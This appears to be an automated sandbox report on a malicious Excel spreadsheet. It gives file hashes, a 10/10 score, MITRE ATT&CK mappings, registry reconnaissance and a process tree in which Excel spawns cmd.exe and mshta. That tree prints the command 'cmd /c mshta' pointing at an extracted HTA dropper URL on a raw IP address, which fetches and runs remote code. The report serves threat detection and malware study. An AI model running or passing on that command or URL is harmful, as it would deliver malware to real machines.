4fe8595642d93575581171852e4c7fd1bc120e5e841b7042a5345776f715a6b0

General

Target

4fe8595642d93575581171852e4c7fd1bc120e5e841b7042a5345776f715a6b0.xls
Size

75KB
MD5

f771b3259ad21283830c709b354a86e6
SHA1

5e2c297f6453fefabd7dfb0ed8bee452a0518f1d
SHA256

4fe8595642d93575581171852e4c7fd1bc120e5e841b7042a5345776f715a6b0
SHA512

4dc640c1afcd90efe11d69e7f48875408b5ebd31be896929fa8af116fe331aa79d8175891e24336222ed9616775f433390ca6c3c8fa8ee79b56966322f19c966
SSDEEP

1536:nI+Hymsbck3hbdlylKsgqopeJBWhZFGkE+cMLxAAISQ5gQ72IotO6nitSU6U+x2:nI+HymsYk3hbdlylKsgqopeJBWhZFGkE

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/zzx/ccv/fe.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3304	2968	cmd.exe	85

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	436	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2968	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2968	EXCEL.EXE
2968	EXCEL.EXE
2968	EXCEL.EXE
2968	EXCEL.EXE
2968	EXCEL.EXE
2968	EXCEL.EXE
2968	EXCEL.EXE
2968	EXCEL.EXE
2968	EXCEL.EXE
2968	EXCEL.EXE
2968	EXCEL.EXE
2968	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2968 wrote to memory of 3304	2968	EXCEL.EXE	90
PID 2968 wrote to memory of 3304	2968	EXCEL.EXE	90
PID 3304 wrote to memory of 436	3304	cmd.exe	92
PID 3304 wrote to memory of 436	3304	cmd.exe	92

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4fe8595642d93575581171852e4c7fd1bc120e5e841b7042a5345776f715a6b0.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2968
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/zzx/ccv/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/zzx/ccv/fe.html
    3⤵
    - Blocklisted process makes network request
    PID:436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
2KB

MD5
008501ed0b4742cf651e8e539f23374c

SHA1
8c06007376095ad6d5745b2cce88e569b0a1e7a4

SHA256
4d0af0ac331ec0b763cc0c7fb540935e48d076fb218ccacf0b09b84ffef87f65

SHA512
9bf56d11a47bad6b23aaed15b075a5e0842dda2693c733754004c171f96ca794236d41abf278175a5173e64919c6fcc1d2ce6fc2d82cdfb02099da8677eb8ef6

Download Submit
memory/2968-12-0x00007FFE2A490000-0x00007FFE2A685000-memory.dmp

Filesize
2.0MB

Download
memory/2968-9-0x00007FFE2A490000-0x00007FFE2A685000-memory.dmp

Filesize
2.0MB

Download
memory/2968-0-0x00007FFDEA510000-0x00007FFDEA520000-memory.dmp

Filesize
64KB

Download
memory/2968-5-0x00007FFDEA510000-0x00007FFDEA520000-memory.dmp

Filesize
64KB

Download
memory/2968-4-0x00007FFDEA510000-0x00007FFDEA520000-memory.dmp

Filesize
64KB

Download
memory/2968-8-0x00007FFE2A490000-0x00007FFE2A685000-memory.dmp

Filesize
2.0MB

Download
memory/2968-1-0x00007FFE2A52D000-0x00007FFE2A52E000-memory.dmp

Filesize
4KB

Download
memory/2968-10-0x00007FFE2A490000-0x00007FFE2A685000-memory.dmp

Filesize
2.0MB

Download
memory/2968-7-0x00007FFE2A490000-0x00007FFE2A685000-memory.dmp

Filesize
2.0MB

Download
memory/2968-11-0x00007FFDE84B0000-0x00007FFDE84C0000-memory.dmp

Filesize
64KB

Download
memory/2968-2-0x00007FFDEA510000-0x00007FFDEA520000-memory.dmp

Filesize
64KB

Download
memory/2968-13-0x00007FFE2A490000-0x00007FFE2A685000-memory.dmp

Filesize
2.0MB

Download
memory/2968-15-0x00007FFE2A490000-0x00007FFE2A685000-memory.dmp

Filesize
2.0MB

Download
memory/2968-17-0x00007FFE2A490000-0x00007FFE2A685000-memory.dmp

Filesize
2.0MB

Download
memory/2968-19-0x00007FFE2A490000-0x00007FFE2A685000-memory.dmp

Filesize
2.0MB

Download
memory/2968-16-0x00007FFE2A490000-0x00007FFE2A685000-memory.dmp

Filesize
2.0MB

Download
memory/2968-18-0x00007FFDE84B0000-0x00007FFDE84C0000-memory.dmp

Filesize
64KB

Download
memory/2968-14-0x00007FFE2A490000-0x00007FFE2A685000-memory.dmp

Filesize
2.0MB

Download
memory/2968-6-0x00007FFE2A490000-0x00007FFE2A685000-memory.dmp

Filesize
2.0MB

Download
memory/2968-30-0x00007FFE2A490000-0x00007FFE2A685000-memory.dmp

Filesize
2.0MB

Download
memory/2968-31-0x00007FFE2A52D000-0x00007FFE2A52E000-memory.dmp

Filesize
4KB

Download
memory/2968-32-0x00007FFE2A490000-0x00007FFE2A685000-memory.dmp

Filesize
2.0MB

Download
memory/2968-33-0x00007FFE2A490000-0x00007FFE2A685000-memory.dmp

Filesize
2.0MB

Download
memory/2968-3-0x00007FFDEA510000-0x00007FFDEA520000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads